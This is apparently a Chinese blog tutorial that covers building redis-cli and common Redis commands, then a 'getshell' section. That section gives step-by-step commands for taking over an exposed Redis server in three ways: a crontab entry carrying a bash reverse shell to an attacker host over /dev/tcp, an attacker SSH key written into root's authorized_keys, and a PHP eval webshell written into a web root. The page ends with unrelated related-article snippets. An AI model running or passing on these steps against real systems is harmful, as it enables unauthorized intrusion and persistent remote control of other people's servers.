redis服务连接及常规操作和redis服务getshell

2024-05-13 13:20

本文主要是介绍redis服务连接及常规操作和redis服务getshell,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

简介

Redis,英文全称是Remote Dictionary Server(远程字典服务),是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

redis服务于传统服务器不同,redis是内存数据库,Redis的数据是存在内存中的。它的读写速度非常快,每秒可以处理超过10万次读写操作,因此redis被广泛应用于缓存。

连接redis服务

首先下载redis-cli(专用于redis服务的命令程序)

下载程序

wget http://download.redis.io/redis-stable.tar.gz

解压

tar -zxf redis-stable.tar.gz

编译

cd redis-stable  #进入目录

make                #编译文件

进入解压好的文件夹(这里我将此程序换了位置改了名字)

编译文件

此时会出现很多数据,不要退出,可能会跑一会儿

创建链接

编译完成后需要将src目录下的redis_cli程序创建一个链接,方便后续利用

ln -s /home/kali/tools/redis_连接工具/src/redis-cli /usr/local/bin/redis-cli

这样就能再任何目录运行此命令

redis的一些常用命令

  1. 启动 Redis 服务:

    redis-server
  2. 连接到 Redis 服务:

    redis-cli
  3. 设置键值对:

    SET key value
  4. 获取键对应的值:

    GET key
  5. 删除键值对:

    DEL key
  6. 检查键是否存在:

    EXISTS key
  7. 设置键的过期时间:

    EXPIRE key seconds
  8. 查看键的剩余过期时间:

    TTL key
  9. 查看键的类型:

    TYPE key
  10. 获取所有键:

    KEYS pattern
  11. 设置列表:

    LPUSH key value1 [value2 ...]
  12. 获取列表:

    LRANGE key start stop
  13. 设置哈希表:

    HSET key field value
  14. 获取哈希表中的值:

    HGET key field
  15. 设置集合:

    SADD key member1 [member2 ...]
  16. 获取集合:

    SMEMBERS key
  17. 获取有关Redis服务器的信息和统计信息:

    info
  18. 获取索引为 0 的数据库中键的数量

    dbsize

redis-getshell

常规的拿到shell的方式有三种

  1. 写定时任务拿到shell
  2. 通过写ssh key的方式拿到shell
  3. 直接再目录里写webshell

写定时任务拿到shell

其实和常规写定时任务是一样的道理,也都是写个文件到crontalbs这些定时文件夹里,或者直接覆盖crontab

  1. 第一步:上线redis

    redis-cli -h 10.129.136.187 -p 6379

  2. 第二步:设置文件夹路径为/var/spool/cron/crontabs

    config set dir /var/spool/cron/crontabs

  3. 第三步:设置备份文件名

    config set dbfilename getshell

  4. 第四步:设置键对值

    set shell '\n\n\n*****bash -i >& /dev/tcp/攻击机ip/攻击机监听端口 0>&1'

  5. 第五步:保存

    save

然后等待一会儿等攻击机监听到流量即可

通过写ssh key的方式拿到shell

此方法成功的先决条件是

  1. redis服务是以root登录的
  2. 开始22端口并且允许使用密钥登录
  1. 首先攻击机本地生成一个公钥文件

    ssh-keygen -t rsa

  2. 然后得到一个公钥和私钥
  3. 给公钥添加换行符写到txt文件里

    (echo -e "\n\n\n\n"; cat id_rsa.pub; echo -e "\n\n\n\n") > pub.txt

  4. 写入公钥到被攻击机

    config set dir /root/.ssh
    config set dbfilename 'authorized_keys'
    config set shell 'pub.txt的值'
    save
  5. 最后使用攻击机生成的私钥登录即可
    ssh -i id_rsa root@被攻击机ip

直接写webshell

先决条件

  1. 已知网站根目录
  2. 登录redis的用户在网站根目录有可写权限
  1. config set dir /var/www/123.com/html
  2. config set dbfilename shell.php
  3. set shell '<?= eval($_POST[a]);>'
  4. save

后续直接使用蚁剑冰蝎这些上线即可

这篇关于redis服务连接及常规操作和redis服务getshell的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/985819

相关文章

Java通过驱动包(jar包)连接MySQL数据库的步骤总结及验证方式

《Java通过驱动包(jar包)连接MySQL数据库的步骤总结及验证方式》本文详细介绍如何使用Java通过JDBC连接MySQL数据库,包括下载驱动、配置Eclipse环境、检测数据库连接等关键步骤,... 目录一、下载驱动包二、放jar包三、检测数据库连接JavaJava 如何使用 JDBC 连接 mys

Qt使用QSqlDatabase连接MySQL实现增删改查功能

《Qt使用QSqlDatabase连接MySQL实现增删改查功能》这篇文章主要为大家详细介绍了Qt如何使用QSqlDatabase连接MySQL实现增删改查功能,文中的示例代码讲解详细,感兴趣的小伙伴... 目录一、创建数据表二、连接mysql数据库三、封装成一个完整的轻量级 ORM 风格类3.1 表结构

Java操作Word文档的全面指南

《Java操作Word文档的全面指南》在Java开发中,操作Word文档是常见的业务需求,广泛应用于合同生成、报表输出、通知发布、法律文书生成、病历模板填写等场景,本文将全面介绍Java操作Word文... 目录简介段落页头与页脚页码表格图片批注文本框目录图表简介Word编程最重要的类是org.apach

关于DNS域名解析服务

《关于DNS域名解析服务》:本文主要介绍关于DNS域名解析服务,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录DNS系统的作用及类型DNS使用的协议及端口号DNS系统的分布式数据结构DNS的分布式互联网解析库域名体系结构两种查询方式DNS服务器类型统计构建DNS域

Knife4j+Axios+Redis前后端分离架构下的 API 管理与会话方案(最新推荐)

《Knife4j+Axios+Redis前后端分离架构下的API管理与会话方案(最新推荐)》本文主要介绍了Swagger与Knife4j的配置要点、前后端对接方法以及分布式Session实现原理,... 目录一、Swagger 与 Knife4j 的深度理解及配置要点Knife4j 配置关键要点1.Spri

Python实现对阿里云OSS对象存储的操作详解

《Python实现对阿里云OSS对象存储的操作详解》这篇文章主要为大家详细介绍了Python实现对阿里云OSS对象存储的操作相关知识,包括连接,上传,下载,列举等功能,感兴趣的小伙伴可以了解下... 目录一、直接使用代码二、详细使用1. 环境准备2. 初始化配置3. bucket配置创建4. 文件上传到os

mysql表操作与查询功能详解

《mysql表操作与查询功能详解》本文系统讲解MySQL表操作与查询,涵盖创建、修改、复制表语法,基本查询结构及WHERE、GROUPBY等子句,本文结合实例代码给大家介绍的非常详细,感兴趣的朋友跟随... 目录01.表的操作1.1表操作概览1.2创建表1.3修改表1.4复制表02.基本查询操作2.1 SE

Redis出现中文乱码的问题及解决

《Redis出现中文乱码的问题及解决》:本文主要介绍Redis出现中文乱码的问题及解决,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1. 问题的产生2China编程. 问题的解决redihttp://www.chinasem.cns数据进制问题的解决中文乱码问题解决总结

Linux中SSH服务配置的全面指南

《Linux中SSH服务配置的全面指南》作为网络安全工程师,SSH(SecureShell)服务的安全配置是我们日常工作中不可忽视的重要环节,本文将从基础配置到高级安全加固,全面解析SSH服务的各项参... 目录概述基础配置详解端口与监听设置主机密钥配置认证机制强化禁用密码认证禁止root直接登录实现双因素

MySQL中的表连接原理分析

《MySQL中的表连接原理分析》:本文主要介绍MySQL中的表连接原理分析,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、背景2、环境3、表连接原理【1】驱动表和被驱动表【2】内连接【3】外连接【4编程】嵌套循环连接【5】join buffer4、总结1、背景